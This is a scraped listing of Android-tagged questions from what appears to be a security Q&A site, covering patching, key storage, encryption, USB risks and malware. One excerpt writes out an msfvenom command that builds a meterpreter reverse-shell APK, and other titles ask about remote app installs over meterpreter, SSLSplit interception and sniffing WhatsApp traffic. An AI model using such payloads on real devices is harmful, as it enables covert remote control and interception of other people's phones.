Android is an operating system for mobile devices such as smartphones and tablet computers. Questions tagged [Android] should focus on security of the operating system itself, or of Android specific apps

learn more… | top users | synonyms

0
votes
0answers
12 views

I have an outdated system that is no longer supported and I want to manually patch security bugs is it safe to do so?

How, do I manually patch security bugs safely without damaging the system for information security purposes on my Ubuntu system that I am running on my nook simple touch(2011 nook) I need to find ...
2
votes
1answer
49 views

What does Obama's phone say about Android and phone hardware?

The recent article Goodbye Obamaberry, hello Obamadroid describes the decision to move Obama's phone from the Blackberry to the Samsung Galaxy S4. The Galaxy 4S is of course an old, foreign phone. ...
4
votes
3answers
64 views

Can I test my own network?

I'm currently trying to enter the field of information security and I was just wondering if there was anything barring me from testing my own network for security vulnerabilities? I only have a couple ...
2
votes
1answer
31 views

Android N - Security Crypto Provider is deprecated

As mentioned in "android developer's blog" , http://android-developers.blogspot.in/2016/06/security-crypto-provider-deprecated-in.html , security Crypto provider is deprecated on Android N. And also ...
0
votes
1answer
42 views

Why doesn't Google uninstall or report, installed pirated apps? [on hold]

Why doesn’t Google do anything about pirated apps? It seems really easy to catch the users. You could go to a website and download an apk for an app which you normally pay for in the play store. ...
7
votes
1answer
32 views

Does the use of a smartphone's Secure Element really offer security benefits to a banking app?

My bank's Android application allows users to perform financial transactions without the use of the physical token generator (which requires an ATM card to be inserted and a valid PIN to be provided) ...
1
vote
0answers
15 views

web view addjavascriptinterface exploit

I have been banging my head around this for almost 56 hours now (+/- a few that I took out to have a couple of naps and RedBulls) and have not been able to get anywhere with it so far. I am trying ...
2
votes
2answers
48 views

Disclosing used Libaries in App

Me and a colleague were discussing the fact that due to licensing we need to disclose a couple of libraries we used in the development of an Android app we make. I said, from a security standpoint it ...
0
votes
0answers
9 views

Using both a firewall and vpn on android [migrated]

Is there a way to use both a firewall and a vpn app on android. I have tried allowing the vpn through the firewall but one invaraibly goes off when I start the other. Is there some way around this -- ...
-7
votes
1answer
56 views

Remotely install an App in Android using metasploit [closed]

I already have a meterpreter session on an Android device, and I want to install an app remotely on the device using metasploit.
0
votes
1answer
71 views

Vicious circle with certificates - how to trust the server cert?

I have a java app on Android that needs to be able to communicate with a web server over ssl using an client x509 certificate (for encryption negotiation) - the private key is in the java keystore ...
-3
votes
0answers
13 views

How to identify fake call log entries in the Android call log database? [migrated]

Is there a way to discriminate between real call events and fake call log entries (made using some app) from the call log database in Android?
1
vote
1answer
63 views

Erasing Lastpass Preminum from mobile phone [duplicate]

This morning I dropped my LG G4 (android 6 Marshmallow) phone and shattered the display. I plan to buy a new shiny phone and sell the old one cheap. I use Lastpass Premium to to store all my ...
0
votes
1answer
23 views

Is it possible to deny Permission access and other Settings using Screen Overlay in Android?

I was noticing an app that doesn't need Camera access ever having camera access and other spy capable permission. When I tried to change the permssion there was a overlay text box saying something ...
-1
votes
2answers
54 views

Store encrypted data locally on the phone that the Android and iOS app itself decrypts

I have an iOS and Android app where our "secret sauce" is a bunch of numbers (weights, actually) stored in a database. Our app uses these numbers to compare what the user of the app has given it, and ...
1
vote
0answers
26 views

Does Rabbitmq support Elliptic Curve Encryption? [migrated]

I am using rabbitmq for chat. I have already installed the ssl on machine, which work fine for Android platform, but iOS broker not able to establish connection with machine and always show SSL ...
-1
votes
1answer
29 views

Safest place to store a credential/key on iOS Android device?

I'm developing a game which has an accounting system very similar to the one used in Geometry Dash, where the user can also upload levels or vote on them, without the need to be registered with an ...
2
votes
3answers
31 views

Prompt for PIN when installing Android Apps?

is there a way to disable app installations until you provide a certain PIN? I have the following scenario in mind: I'm a heavy Google Photos and Google Drive user, but only from my Windows computer ...
42
votes
1answer
4k views

Why is Firewire a bigger threat than USB?

This question notes that a person briefly connected an Android device to an Apple computer via USB, and one comment indicates that it would "quite possibly" be a risk: In theory, yes, in practice, ...
49
votes
6answers
10k views

Am I at risk if I let someone charge their Android phone from my MacBook through a micro USB cable?

Someone connected their Android phone to my MacBook and it made me think if this has put my MacBook at risk. It was for 3 seconds and I was in control of the MacBook the whole time.
0
votes
0answers
23 views

Security risks with setDomStorageEnabled(true) in Android?

What are the security risks associated with enabling setDomStorageEnabled(true) method? Reference.
0
votes
1answer
32 views

Do android apps have signatures like Window executables?

Windows has a pretty good signature system. I was wondering if Android has a signature system for APKs. If this would be the case, are they self signed? Are the play store apps signed by Google in ...
0
votes
2answers
96 views

Smartphone 2FA has been broken?

This research states that two factor authentication has been broken by the possibility to remotely install an app on a device. I believe that an attacker can publish an app in the store that is ...
1
vote
0answers
75 views

How to crack (get secret from) Android Keystore System

I am looking for the best way to protect sensitive data in Android devices, e.g. secret or private keys, and found Android Keystore System. Based on the documentation, key material may be bound to ...
0
votes
1answer
32 views

What data (of or about the app) remains in the device after the app is uninstalled?

The question is for both Android and iOS. Recently, the information security team of my company raised a concern about the Application cache being maintained after the app (made using Cordova) was ...
0
votes
0answers
56 views

Pop up in Facebook built-in browser

While I was visiting a page on a usual website with the built-in browser of the Android Facebook app, a pop-up just... poped-up, saying dumb stuff about my cellphone being full of viruses, etc. (Quite ...
4
votes
1answer
108 views

What excactly is encrypted by “full disk encryption” on Android 5?

This page says "user data" gets encrypted. But that implies it's only a certain part of the full disk? Like "/data" or something? Can I copy a file from a PC to the internal storage to any place and ...
1
vote
1answer
49 views

How to secure android REST basic authentication credentials against reverse engineering?

As far as I know, in basic REST API authentication, username and password to access web service resources are baked into the app's code. On the other hand, it seems not difficult to reverse engineer ...
2
votes
0answers
24 views

Are deleted offline calendar events in Android actually deleted?

When an Android app deletes a calendar event in a local (offline / non-synced) calendar, does Android's Calendar Storage (com.android.providers.calendar) actually delete the event or does it just flag ...
0
votes
2answers
62 views

File types and ways that can infect Android devices with malware [closed]

From what sources can an Android device be infected with malware? What various file types, executable or non executable, can infect an Android device with malware?
0
votes
0answers
13 views

Attacker's Potential Scope of Dmg if He/She can SSH into Android Phone

I've recently started researching the ability to SSH into an Android device. From what I've seen, this is a figured out challenge, which makes me wonder how much damage an attacker could do. Let's ...
2
votes
1answer
76 views

What to do with an APK file containing Swf.Exploit.CVE_2015_0323-1 and ELF File?

I received an APK file from a source. Prior to installation, I ran a virus scan on it. The result had following main features: The file contained Swf.Exploit.CVE_2015_0323-1 It required android....
1
vote
1answer
61 views

Making an encrypted SMS app (Android) [closed]

From my limited googling I've noticed that a lot of the mainstream encrypted messaging apps all are either (or a combination of!) closed-source, run through an uncontrolled third-party server, use a ...
5
votes
1answer
101 views

Why does Android care about differentiating multiple fingerprints?

I was reading through the Android Compatibility Definition document after a friend pointed me there while we were discussing fingerprint scanners and other biometric authentications. I noticed this ...
1
vote
1answer
59 views

What is a root method and how is it achieved?

I'm wondering what exactly happens when you are finding a root method on Android. Is it just poking and prodding? I know it's high privileges, but how can that not be enabled through a regular ...
1
vote
0answers
60 views

Diffie Hellman Key Exchange in a messaging application

I'm currently a student that is trying to develop a messaging application on android using java that will implement diffie hellman key exchange in order to ensure that they both will be able to ...
0
votes
1answer
45 views

Forwarding traffic to SSLSplit from Android

I want to forward non HTTP traffic to SSLSplit in order to do a MITM attack. How would I forward the traffic to SSLSplit from my Android?
60
votes
3answers
4k views

Are staggered roll outs of security patches bad?

Many Android devices, including the Google Nexus line, are now receiving monthly security patches via OTA updates, accompanied by the Android Security Bulletins. However, these updates are often ...
1
vote
0answers
65 views

Android not connected to kali linux with meterpreter in metasploit

I keep running into an error. I create an apk: msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 R > test.apk In the console, I configure the multi/handler: set PAYLOAD ...
5
votes
2answers
191 views

Can I safely store credit card data in an app?

I am using a payment gateway in my app. I'm thinking of storing credit card numbers without the CVC numbers in my app. Storing the CC number eliminates the requirement of re-entering the CC number. ...
0
votes
0answers
37 views

Android client side data encoding/encryption bypass

I am working on Android application security project where Android application sends all data in encryption from client side only. I assume that there must be a file at client side which might be ...
1
vote
1answer
52 views

Android keystore passwords leaked

We develop Android applications and by mistake following strings were sent within custom Android project folder to several clients: keyAlias keyPassword storePassword The .keystore file itself was ...
2
votes
0answers
23 views

How can I ensure that phone app traffic is using HTTPS? [duplicate]

When I access a website, I know just by looking at the URL whether it's HTTPS or HTTP. If I'm using an app on my phone, I cannot see this. So if say the app wants me to enter a password in to create ...
2
votes
2answers
49 views

How can I secure the usage of root access on android, given that I have regular updates?

the situation: I use Android 5.1 I'm running the "rooted" variant of fairphone OS, which means that: I can enable Root access in the developer settings, i.e. I don't need to exploit my phone. ...
4
votes
1answer
84 views

Steps to recommend after people connect Android devices to questionable open WiFi access points

What are the appropriate steps to recommend for people to take after they connect their Android device to questionable open WiFi access points? When I say "people", I mean friends and colleagues. I ...
1
vote
0answers
68 views

Android Rooting and Evil Maid Attacks

I'm trying to learn more about full disk encryption (in the context of a Linux based server) and what schemes offer true security and which only offer the illusion of security. As I understand it, ...
-4
votes
1answer
68 views

How do I stop a snooper: phone and computer [closed]

Someone is snooping on me. They can see my location, text messages, and pictures (even if I don't send them to anyone), and also my download and web browsing history. Someone is reading my old juicy ...
3
votes
2answers
108 views

My cellphone is infected, and it keeps coming back

Please bear with me as English is not my native language My Android smartphone downloads apps automatically without any interaction. Generally the apps are known but some are unknown apps. I can only ...
2
votes
0answers
45 views

Why more Android applications (compared to iOS) use certificate pinning? [closed]

I used mitmproxy to test the same 50 apps on iOS and Android and noticed that more than 50% of the Android applications compared to 23% of iOS, used certificate pinning. Is there any explanation as ...
0
votes
2answers
712 views

Sniffing WhatsApp chat using Wireshark

Suppose two persons are using WhatsApp on Android. How can I see the communication between them if I have Wireshark running on a PC listening on network interface card? I know the communication ...